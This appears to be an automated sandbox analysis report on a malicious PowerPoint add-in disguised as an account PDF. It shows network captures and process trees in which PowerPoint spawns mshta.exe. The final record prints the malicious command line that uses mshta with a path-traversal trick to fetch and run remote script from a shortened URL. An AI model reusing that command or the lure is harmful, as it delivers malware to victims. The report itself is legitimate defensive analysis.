Data Ascii: e"},"\u00a0-\u00a0"+(new Date(f.publishedDate)).toLocaleDateString()),g.appendChild(h));a.C.showIt
emAuthor&&(f=vf(ka,{"class":"item-author"},"\u00a0-\u00a0"+f.author),g.appendChild(f))}a.J&&a.J(b)}function wn(a){zf(a.D
);a.D.appendChild(vf(ka,null,"Error 

2021-11-25 17:33:42 UTC 296 IN Data Raw: 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 70 29 7d 78 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 44 3d 66 75 6e 63 
74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 48 2e 43 61 28 22 67 65 74 46 61 63 65 70 69 6c 65 22 2c 7b 66 63 4d 54 3a 61 
7d 2c 6e 75 6c 6c 2c 68 61 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 42 6e 28 61 29 7b 77 69 6e 64 6f 77 2e 6f 70 65 6e 28 61 
2c 71 61 2c 22 68 65 69 67 68 74 3d 36 30 30 2c 20 77 69 64 74 68 3d 36 34 30 2c 20 74 6f 6f 6c 62 61 72 3d 6e 6f 2c 20 
6d 65 6e 75 62 61 72 3d 6e 6f 2c 20 73 63 72 6f 6c 6c 62 61 72 73 3d 79 65 73 2c 20 72 65 73 69 7a 61 62 6c 65 3d 79 65 
73 2c 20 6c 6f 63 61 74 69 6f 6e 3d 6e 6f 2c 20 64 69 72 65 63 74 6f 72 69 65 73 3d 6e 6f 2c 20 73 74 61 74 75 73 3d 6e 6f 
22 29 7d 7a 28 22 5f 46 6f 6c 6c 6f 77 65 72 73 56 69 65 
Data Ascii: style.display=p)}xn.prototype.D=function(a){this.H.Ca("getFacepile",{fcMT:a},null,ha)};function Bn(a){window
.open(a,qa,"height=600, width=640, toolbar=no, menubar=no, scrollbars=yes, resizable=yes, location=no, directories=no, s
tatus=no")}z("_FollowersVie

2021-11-25 17:33:42 UTC 297 IN Data Raw: 2c 50 29 3b 7a 28 22 5f 4e 61 76 62 61 72 56 69 65 77 22 2c 4c 6e 29 3b 66 75 6e 63 74 69 6f 6e 20 4d 6e 28 
61 29 7b 50 2e 63 61 6c 6c 28 74 68 69 73 2c 22 50 61 67 65 4c 69 73 74 22 2c 61 29 7d 76 28 4d 6e 2c 50 29 3b 4d 6e 
2e 70 72 6f 74 6f 74 79 70 65 2e 50 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 50 61 67 65 4c 69 73 74 
22 7d 3b 4d 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 30 21 3d 74 68 69 73 
2e 48 2e 4d 2e 64 61 74 61 2e 6d 6f 62 69 6c 65 29 7b 76 61 72 20 61 3d 4e 28 74 68 69 73 2e 48 2c 22 73 65 6c 65 63 
74 22 29 3b 61 26 26 28 61 2e 6f 6e 63 68 61 6e 67 65 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 62 3d 62 7c 7c 77 69 6e 64 
6f 77 2e 65 76 65 6e 74 3b 62 3d 62 2e 74 61 72 67 65 74 7c 7c 
Data Ascii: ,P);z("_NavbarView",Ln);function Mn(a){P.call(this,"PageList",a)}v(Mn,P);Mn.prototype.Pa=function(){return"P
ageList"};Mn.prototype.ha=function(){if(0!=this.H.M.data.mobile){var a=N(this.H,"select");a&&(a.onchange=function(b){b=b
||window.event;b=b.target||

2021-11-25 17:33:42 UTC 298 IN Data Raw: 61 2c 61 29 7d 41 28 53 6e 2c 50 29 3b 53 6e 2e 64 61 3d 22 53 68 61 72 69 6e 67 22 3b 7a 28 22 5f 53 68 61 
72 69 6e 67 56 69 65 77 22 2c 53 6e 29 3b 66 75 6e 63 74 69 6f 6e 20 54 6e 28 61 29 7b 50 2e 63 61 6c 6c 28 74 68 69 
73 2c 22 53 74 61 74 73 22 2c 61 29 7d 76 28 54 6e 2c 50 29 3b 54 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 3d 66 75 6e 
63 74 69 6f 6e 28 29 7b 6e 75 6c 6c 21 3d 4e 28 74 68 69 73 2e 48 2c 22 74 6f 74 61 6c 43 6f 75 6e 74 22 29 26 26 77 68 
28 74 68 69 73 2e 48 2e 4d 2e 64 61 74 61 2e 73 74 61 74 73 55 72 6c 2c 79 28 74 68 69 73 2e 47 2c 74 68 69 73 29 29 
7d 3b 0a 54 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 47 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 61 2e 74 61 72 67 65 74 
3b 69 66 28 46 68 28 61 29 29 7b 69 66 28 61 2e 43 29 62 3a 7b 
Data Ascii: a,a)}A(Sn,P);Sn.da="Sharing";z("_SharingView",Sn);function Tn(a){P.call(this,"Stats",a)}v(Tn,P);Tn.prototype
.ha=function(){null!=N(this.H,"totalCount")&&wh(this.H.M.data.statsUrl,y(this.G,this))};Tn.prototype.G=function(a){a=a.t
arget;if(Fh(a)){if(a.C)b:{

2021-11-25 17:33:42 UTC 299 IN Data Raw: 69 67 6e 28 7b 65 6e 61 62 6c 65 49 6e 74 65 72 61 63 74 69 76 69 74 79 3a 21 31 2c 63 68 61 72 74 41 72 65 
61 3a 7b 74 6f 70 3a 30 2c 6c 65 66 74 3a 30 2c 77 69 64 74 68 3a 37 35 2c 68 65 69 67 68 74 3a 33 30 7d 2c 68 41 78 
69 73 3a 7b 74 65 78 74 50 6f 73 69 74 69 6f 6e 3a 70 2c 67 72 69 64 6c 69 6e 65 73 3a 7b 63 6f 6c 6f 72 3a 22 74 72 61 
6e 73 70 61 72 65 6e 74 22 7d 7d 2c 76 41 78 69 73 3a 7b 74 65 78 74 50 6f 73 69 74 69 6f 6e 3a 70 2c 67 72 69 64 6c 69 
6e 65 73 3a 7b 63 6f 6c 6f 72 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 7d 7d 2c 6c 65 67 65 6e 64 3a 7b 70 6f 73 69 74 
69 6f 6e 3a 70 7d 7d 2c 63 29 29 7d 29 7d 0a 54 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 4a 3d 66 75 6e 63 74 69 6f 6e 28 61 
29 7b 69 66 28 56 6e 28 74 68 69 73 2e 46 2b 31 29 3e 56 6e 
Data Ascii: ign({enableInteractivity:!1,chartArea:{top:0,left:0,width:75,height:30},hAxis:{textPosition:p,gridlines:{color:"transp
arent"}},vAxis:{textPosition:p,gridlines:{color:"transparent"}},legend:{position:p}},c))})}Tn.prototype.J=function(a){if(Vn(this.F
+1)>Vn

2021-11-25 17:33:42 UTC 301 IN Data Raw: 6f 6c 75 6d 6e 73 2d 63 65 6c 6c 22 29 26 26 58 6e 28 63 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 70 61 72 65 6e 
74 4e 6f 64 65 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 62 29 2c 58 6e 28 63 2c 62 29 29 3b 
28 61 3d 59 6e 28 61 2c 22 77 69 64 67 65 74 20 53 75 62 73 63 72 69 62 65 22 29 29 26 26 58 6e 28 61 2e 70 61 72 65 
6e 74 4e 6f 64 65 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 62 29 7d 7d 76 61 72 20 24 6e 3d 6e 75 6c 6c 2c 61 6f 3d 6e 75 6c 
6c 3b 7a 28 22 5f 53 75 62 73 63 72 69 62 65 56 69 65 77 22 2c 57 6e 29 3b 0a 7a 28 22 5f 53 57 5f 74 6f 67 67 6c 65 52 
65 61 64 65 72 4c 69 73 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 64 6f 63 75 6d 65 6e 74 2e 
67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 6d 61 2b 62 29 
Data Ascii: olumns-cell")&&Xn(c.parentNode.parentNode.parentNode.parentNode,b),Xn(c,b));(a=Yn(a,"widget Subscr
ibe"))&&Xn(a.parentNode.parentNode,b)}}var $n=null,ao=null;z("_SubscribeView",Wn);z("_SW_toggleReaderList",fun
ction(a,b){var c=document.getElementById(ma+b)

2021-11-25 17:33:42 UTC 302 IN Data Raw: 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 29 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 
65 4f 66 3b 65 6c 73 65 7b 76 61 72 20 66 3b 61 3a 7b 76 61 72 20 67 3d 7b 61 3a 21 30 7d 2c 6c 3d 7b 7d 3b 74 72 79 
7b 6c 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 67 3b 66 3d 6c 2e 61 3b 62 72 65 61 6b 20 61 7d 63 61 74 63 68 28 61 29 7b 7d 66 
3d 21 31 7d 65 3d 66 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 63 29 7b 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 3b 69 66 28 61 2e 
5f 5f 70 72 6f 74 6f 5f 5f 21 3d 3d 63 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 61 2b 22 20 69 73 20 
6e 6f 74 20 65 78 74 65 6e 73 69 62 6c 65 22 29 3b 72 65 74 75 72 6e 20 61 7d 3a 6e 75 6c 6c 7d 76 61 72 20 6d 3d 65 
3b 2f 2a 5c 6e 5c 6e 20 53 50 44 58 2d 4c 69 63 65 6e 
Data Ascii: t.setPrototypeOf)e=Object.setPrototypeOf;else{var f;a:{var g={a:!0},l={};try{l.__proto__=g;f=l.a;break a}catch(a)
{}f=!1}e=f?function(a,c){a.__proto__=c;if(a.__proto__!==c)throw new TypeError(a+" is not extensible");return a}:null}var 
m=e;/*\n\n SPDX-Licen

Timestamp
kBytes
transferred Direction Data
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2021-11-25 17:33:42 UTC 303 IN Data Raw: 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 73 61 6e 64 62 6f 78 69 6e 67 20 65 72 72 6f 72 22 29 3b 5c 6e 
77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 65 73 73 61 67 65 22 2c 66 75 6e 63 74 
69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 61 2e 70 6f 72 74 73 5b 30 5d 3b 61 3d 61 2e 64 61 74 61 3b 76 61 72 20 62 3d 
61 2e 63 61 6c 6c 62 61 63 6b 4e 61 6d 65 2e 73 70 6c 69 74 28 22 2e 22 29 2c 68 3d 77 69 6e 64 6f 77 3b 22 77 69 6e 6
4 6f 77 22 3d 3d 3d 62 5b 30 5d 26 26 62 2e 75 6e 73 68 69 66 74 28 29 3b 66 6f 72 28 76 61 72 20 6b 3d 30 3b 6b 3c 62 
2e 6c 65 6e 67 74 68 2d 31 3b 6b 2b 2b 29 68 5b 62 5b 6b 5d 5d 3d 7b 7d 2c 68 3d 68 5b 62 5b 6b 5d 5d 3b 68 5b 62 5b 
62 2e 6c 65 6e 67 74 68 2d 31 5d 5d 3d 66 75 6e 63 74 69 6f 6e 28 79 
Data Ascii: ))throw Error("sandboxing error");\nwindow.addEventListener("message",function(a){var c=a.ports[0];a=a.data;
var b=a.callbackName.split("."),h=window;"window"===b[0]&&b.unshift();for(var k=0;k<b.length-1;k++)h[b[k]]={},h=h[b[k]];
h[b[b.length-1]]=function(y

2021-11-25 17:33:42 UTC 304 IN Data Raw: 6f 75 74 28 61 2e 46 29 2c 61 2e 46 3d 76 6f 69 64 20 30 29 3b 76 6f 69 64 20 30 3d 3d 3d 64 2e 64 61 74 61 
26 26 61 2e 43 2e 72 65 6a 65 63 74 28 22 43 61 6c 6c 62 61 63 6b 20 63 61 6c 6c 65 64 2c 20 62 75 74 20 6e 6f 20 64 
61 74 61 20 72 65 63 65 69 76 65 64 22 29 3b 74 79 70 65 6f 66 20 64 2e 64 61 74 61 21 3d 3d 72 26 26 61 2e 43 2e 72 
65 6a 65 63 74 28 22 45 78 70 6c 6f 69 74 61 74 69 6f 6e 20 61 74 74 65 6d 70 74 21 20 44 61 74 61 20 69 73 20 6e 6f 74 
20 61 20 73 74 72 69 6e 67 21 22 29 3b 74 72 79 7b 65 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 64 2e 64 61 74 61 29 7d 63 6
1 74 63 68 28 66 29 7b 61 2e 43 2e 72 65 6a 65 63 74 28 22 49 6e 76 61 6c 69 64 20 44 61 74 61 20 72 65 63 65 69 76 
65 64 3a 20 22 2b 66 2e 6d 65 73 73 61 67 65 29 7d 61 2e 43 2e 72 65 
Data Ascii: out(a.F),a.F=void 0);void 0===d.data&&a.C.reject("Callback called, but no data received");typeof d.data!==r&
&a.C.reject("Exploitation attempt! Data is not a string!");try{e=JSON.parse(d.data)}catch(f){a.C.reject("Invalid Data re
ceived: "+f.message)}a.C.re

2021-11-25 17:33:42 UTC 306 IN Data Raw: 65 2e 47 61 3d 21 30 2c 6a 6f 28 62 29 29 3b 63 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 7d 29 7d 
7d 3b 0a 66 75 6e 63 74 69 6f 6e 20 6a 6f 28 61 29 7b 7a 66 28 4a 28 4e 28 61 2e 48 2c 77 62 29 29 29 3b 7a 66 28 4a 28 
4e 28 61 2e 48 2c 76 62 29 29 29 3b 76 61 72 20 62 3d 45 28 4a 28 4e 28 61 2e 48 2c 75 62 29 29 2e 76 61 6c 75 65 29 
3b 62 3f 28 62 3d 6c 6a 28 6c 6a 28 6c 6a 28 24 69 28 6e 65 77 20 58 69 28 22 68 74 74 70 73 3a 2f 2f 22 2b 28 61 2e 4e 
61 26 26 5a 2e 69 62 7c 7c 5a 2e 4b 61 29 2b 62 61 29 2c 22 2f 77 2f 61 70 69 2e 70 68 70 22 29 2c 22 61 63 74 69 6f 6e 
22 2c 22 6f 70 65 6e 73 65 61 72 63 68 22 29 2c 22 73 65 61 72 63 68 22 2c 62 29 2c 22 66 6f 72 6d 61 74 22 2c 22 6a 73 
6f 6e 22 29 2c 62 3d 6e 65 77 20 66 6f 28 62 29 2c 4e 28 61 
Data Ascii: e.Ga=!0,jo(b));c.preventDefault()})}};function jo(a){zf(J(N(a.H,wb)));zf(J(N(a.H,vb)));var b=E(J(N(a.H,ub)).
value);b?(b=lj(lj(lj($i(new Xi("https://"+(a.Na&&Z.ib||Z.Ka)+ba),"/w/api.php"),"action","opensearch"),"search",b),"forma
t","json"),b=new fo(b),N(a

2021-11-25 17:33:42 UTC 307 IN Data Raw: 6e 63 74 69 6f 6e 28 29 7b 22 65 6e 22 21 3d 5a 2e 4b 61 3f 28 74 68 69 73 2e 4e 61 3d 21 30 2c 6a 6f 28 74 
68 69 73 29 29 3a 28 4a 28 4e 28 74 68 69 73 2e 48 2c 78 62 29 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 70 2c 
46 65 28 72 69 28 74 68 69 73 2e 48 2c 77 62 29 2c 49 67 28 74 68 69 73 2e 48 2e 4d 2e 64 61 74 61 2e 66 65 74 63 68 
69 6e 67 45 72 72 6f 72 4d 73 67 29 29 2c 5a 2e 70 72 6f 74 6f 74 79 70 65 2e 47 61 3d 21 31 29 7d 3b 69 66 28 77 69 6e 
64 6f 77 2e 6a 73 74 69 6d 69 6e 67 29 7b 77 69 6e 64 6f 77 2e 6a 73 74 69 6d 69 6e 67 2e 54 62 3d 7b 7d 3b 77 69 6e 6
4 6f 77 2e 6a 73 74 69 6d 69 6e 67 2e 46 64 3d 31 3b 76 61 72 20 6b 6f 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7
b 76 61 72 20 64 3d 61 2e 74 5b 62 5d 2c 65 3d 61 2e 74 2e 73 74 
Data Ascii: nction(){"en"!=Z.Ka?(this.Na=!0,jo(this)):(J(N(this.H,xb)).style.display=p,Fe(ri(this.H,wb),Ig(this.H.M.data
.fetchingErrorMsg)),Z.prototype.Ga=!1)};if(window.jstiming){window.jstiming.Tb={};window.jstiming.Fd=1;var ko=function(a
,b,c){var d=a.t[b],e=a.t.st

2021-11-25 17:33:42 UTC 308 IN Data Raw: 73 74 61 74 69 63 2e 63 6f 6d 2f 63 73 69 22 29 3b 72 65 74 75 72 6e 5b 62 2c 22 3f 76 3d 33 22 2c 22 26 73 
3d 22 2b 28 77 69 6e 64 6f 77 2e 6a 73 74 69 6d 69 6e 67 2e 73 6e 7c 7c 22 62 6c 6f 67 67 65 72 22 29 2b 61 61 2c 61 2e 
6e 61 6d 65 2c 66 2e 6c 65 6e 67 74 68 3f 22 26 69 74 3d 22 2b 66 2e 6a 6f 69 6e 28 22 2c 22 29 3a 22 22 2c 64 2c 22 26 
72 74 3d 22 2c 65 2e 6a 6f 69 6e 28 22 2c 22 29 5d 2e 6a 6f 69 6e 28 22 22 29 7d 2c 6d 6f 3d 66 75 6e 63 74 69 6f 6e 28 
61 2c 62 2c 63 29 7b 61 3d 6c 6f 28 61 2c 62 2c 63 29 3b 69 66 28 21 61 29 72 65 74 75 72 6e 22 22 3b 62 3d 6e 65 77 20 
49 6d 61 67 65 3b 76 61 72 20 64 3d 77 69 6e 64 6f 77 2e 6a 73 74 69 6d 69 6e 67 2e 46 64 2b 2b 3b 77 69 6e 64 6f 77 
2e 6a 73 74 69 6d 69 6e 67 2e 54 62 5b 64 5d 3d 62 3b 62 2e 
Data Ascii: static.com/csi");return[b,"?v=3","&s="+(window.jstiming.sn||"blogger")+aa,a.name,f.length?"&it="+f.join(",")
:"",d,"&rt=",e.join(",")].join("")},mo=function(a,b,c){a=lo(a,b,c);if(!a)return"";b=new Image;var d=window.jstiming.Fd++
;window.jstiming.Tb[d]=b;b.

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

8 192.168.2.22 49173 172.217.168.9 443 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 17:33:42 UTC 309 OUT GET /blogin.g?blogspotURL=https://kdaoskdokaodkwldld.blogspot.com/p/20.html&type=blog HTTP/1.1
Accept: */*
Referer: https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.html
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; 
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: www.blogger.com
Connection: Keep-Alive
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2021-11-25 17:33:42 UTC 310 IN HTTP/1.1 302 Moved Temporarily
P3P: CP="This is not a P3P policy! See https://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 
for more info."
Location: https://accounts.google.com/ServiceLogin?passive=true&continue=https://www.blogger.com/blogin.g?blog
spotURL%3Dhttps://kdaoskdokaodkwldld.blogspot.com/p/20.html%26type%3Dblog%26bpli%3D1&followup=https:
//www.blogger.com/blogin.g?blogspotURL%3Dhttps://kdaoskdokaodkwldld.blogspot.com/p/20.html%26type%3D
blog%26bpli%3D1&go=true
Content-Type: text/html; charset=UTF-8
Date: Thu, 25 Nov 2021 17:33:42 GMT
Expires: Thu, 25 Nov 2021 17:33:42 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-XSS-Protection: 1; mode=block
Server: GSE
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked

2021-11-25 17:33:42 UTC 311 IN Data Raw: 32 30 35 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70 
6f 72 61 72 69 6c 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 
46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 
72 61 72 69 6c 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 
45 46 3d 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 53 65 72 76 69 63 65 4c 6f 
67 69 6e 3f 70 61 73 73 69 76 65 3d 74 72 75 65 26 61 6d 70 3b 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 3a 
Data Ascii: 205<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" 
TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://accounts.google.com
/ServiceLogin?passive=true&amp;continue=https:

2021-11-25 17:33:42 UTC 311 IN Data Raw: 2f 2f 77 77 77 2e 62 6c 6f 67 67 65 72 2e 63 6f 6d 2f 62 6c 6f 67 69 6e 2e 67 3f 62 6c 6f 67 73 70 6f 74 55 52 4c 
25 33 44 68 74 74 70 73 3a 2f 2f 6b 64 61 6f 73 6b 64 6f 6b 61 6f 64 6b 77 6c 64 6c 64 2e 62 6c 6f 67 73 70 6f 74 2e 63 6f 
6d 2f 70 2f 32 30 2e 68 74 6d 6c 25 32 36 74 79 70 65 25 33 44 62 6c 6f 67 25 32 36 62 70 6c 69 25 33 44 31 26 61 6d 70 
3b 66 6f 6c 6c 6f 77 75 70 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 6c 6f 67 67 65 72 2e 63 6f 6d 2f 62 6c 6f 67 69 6e 2e 
67 3f 62 6c 6f 67 73 70 6f 74 55 52 4c 25 33 44 68 74 74 70 73 3a 2f 2f 6b 64 61 6f 73 6b 64 6f 6b 61 6f 64 6b 77 6c 64 6c 
64 2e 62 6c 6f 67 73 70 6f 74 2e 63 6f 6d 2f 70 2f 32 30 2e 68 74 6d 6c 25 32 36 74 79 70 65 25 33 44 62 6c 6f 67 25 32 
36 62 70 6c 69 25 33 44 31 26 61 6d 70 3b 
Data Ascii: //www.blogger.com/blogin.g?blogspotURL%3Dhttps://kdaoskdokaodkwldld.blogspot.com/p/20.html%26type%
3Dblog%26bpli%3D1&amp;followup=https://www.blogger.com/blogin.g?blogspotURL%3Dhttps://kdaoskdokaodkw
ldld.blogspot.com/p/20.html%26type%3Dblog%26bpli%3D1&amp;

2021-11-25 17:33:42 UTC 311 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

9 192.168.2.22 49174 172.217.168.45 443 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 17:33:43 UTC 311 OUT GET /ServiceLogin?passive=true&continue=https://www.blogger.com/blogin.g?blogspotURL%3Dhttps://kdaoskdokaodkwl
dld.blogspot.com/p/20.html%26type%3Dblog%26bpli%3D1&followup=https://www.blogger.com/blogin.g?blogsp
otURL%3Dhttps://kdaoskdokaodkwldld.blogspot.com/p/20.html%26type%3Dblog%26bpli%3D1&go=true HTTP/1.1
Accept: */*
Referer: https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.html
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; 
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: accounts.google.com
Connection: Keep-Alive
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Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

2021-11-25 17:33:43 UTC 312 IN HTTP/1.1 302 Moved Temporarily
Content-Type: text/html; charset=UTF-8
X-Frame-Options: DENY
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Thu, 25 Nov 2021 17:33:43 GMT
Location: https://www.blogger.com/blogin.g?blogspotURL=https%3A%2F%2Fkdaoskdokaodkwldld.blogspot.com
%2Fp%2F20.html&type=blog&bpli=1
Strict-Transport-Security: max-age=31536000; includeSubDomains
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_qebhlk"
Report-To: {"group":"coop_gse_qebhlk","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_qebhlk"}]}
Content-Security-Policy: require-trusted-types-for 'script';report-uri /cspreport
Content-Security-Policy: script-src 'nonce-fSO4emUUcAbg0yh3LscJUw' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-
uri 'self';report-uri /cspreport
Content-Length: 311
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Set-Cookie: __Host-GAPS=1:f_rrEJMwa1RceiKOUgAl3Ih1uMuvKw:4UQWND8ppXsx2KIC;Path=/;Expires=Sat, 25-Nov-
2023 17:33:43 GMT;Secure;HttpOnly;Priority=HIGH
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

2021-11-25 17:33:43 UTC 313 IN Data Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 
6c 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 
46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 
3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 
74 70 73 3a 2f 2f 77 77 77 2e 62 6c 6f 67 67 65 72 2e 63 6f 6d 2f 62 6c 6f 67 69 6e 2e 67 3f 62 6c 6f 67 73 70 6f 74 55 52 
4c 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 6b 64 61 6f 73 6b 64 6f 6b 61 6f 64 6b 77 6c 64 6c 64 2e 62 6c 6f 67 73 
70 6f 74 2e 63 6f 6d 25 32 46 70 25 32 46 32 30 2e 68 
Data Ascii: <HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEX
T="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://www.blogger.com/blogin.g?
blogspotURL=https%3A%2F%2Fkdaoskdokaodkwldld.blogspot.com%2Fp%2F20.h

Timestamp
kBytes
transferred Direction Data

Start time: 18:33:16

Start date: 25/11/2021

Path: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE

Wow64 process (32bit): false

Commandline: "C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE" /AUTOMATION -Embedding

Imagebase: 0x13f550000

File size: 2163560 bytes

MD5 hash: EBBBEF2CCA67822395E24D6E18A3BDF6

Has elevated privileges: true

Has administrator privileges: true

Analysis Process: POWERPNT.EXE PID: 1612 Parent PID: 596Analysis Process: POWERPNT.EXE PID: 1612 Parent PID: 596

General
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File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Programmed in: C, C++ or other language

Reputation: moderate

Show Windows behavior

Show Windows behavior

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 18:33:19

Start date: 25/11/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: C:\Windows\system32\cmd.exe /c "C:\Users\user\Desktop\Acct # 3288-1258-1NQ39NGAY
0GD'pdf.ppam"

Imagebase: 0x4a310000

File size: 302592 bytes

MD5 hash: AD7B9C14083B52BC532FBA5948342B98

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Show Windows behavior

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 18:33:20

Start date: 25/11/2021

Path: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE

Wow64 process (32bit): false

Commandline: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\user\Desktop\Acct # 
3288-1258-1NQ39NGAY0GD'pdf.ppam

Imagebase: 0x13fbc0000

File size: 2163560 bytes

MD5 hash: EBBBEF2CCA67822395E24D6E18A3BDF6

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Show Windows behavior

Show Windows behavior

Analysis Process: cmd.exe PID: 1212 Parent PID: 516Analysis Process: cmd.exe PID: 1212 Parent PID: 516

General

Analysis Process: POWERPNT.EXE PID: 1892 Parent PID: 1212Analysis Process: POWERPNT.EXE PID: 1892 Parent PID: 1212

General

Key CreatedKey Created

Analysis Process: mshta.exe PID: 2688 Parent PID: 1892Analysis Process: mshta.exe PID: 2688 Parent PID: 1892

General
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File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 18:33:24

Start date: 25/11/2021

Path: C:\Windows\System32\mshta.exe

Wow64 process (32bit): false

Commandline: c:\windows\system32\calc\..\mshta https://hahahahh@j.mp/ODOASODOchjdjdsfdruerueb
dgbjd

